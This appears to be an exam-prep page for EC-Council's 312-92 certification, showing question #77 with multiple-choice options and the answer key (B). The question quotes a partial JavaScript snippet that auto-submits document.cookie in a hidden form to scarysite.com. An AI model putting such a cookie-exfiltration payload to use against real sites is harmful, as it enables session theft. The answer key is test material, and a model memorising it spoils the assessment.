EC-Council
312-92 · Question #77
312-92 Question #77: Real Exam Question with Answer & Explanation
The correct answer is B. Hidden form fields. See the full explanation below for the reasoning.
Question
Gerald is a web security consultant for Protectors International. Gerald's main responsibility is to search the Internet for malicious and deceitful sites that the public should be aware of. Gerald was tipped off about a particular site and is now looking over its source code in a protected environment. Gerald finds the following snippet particularly interesting. What has Gerald stumbled upon? <script> scarysite.com/getit.php"> <input type=hidden name=sid value="' + escape(document.cookie) + '">'); document.hack.submit(); </script>
Options
- AHidden post command
- BHidden form fields
- CJavaScript hijacking
- DXSS attack
Community Discussion
No community discussion yet for this question.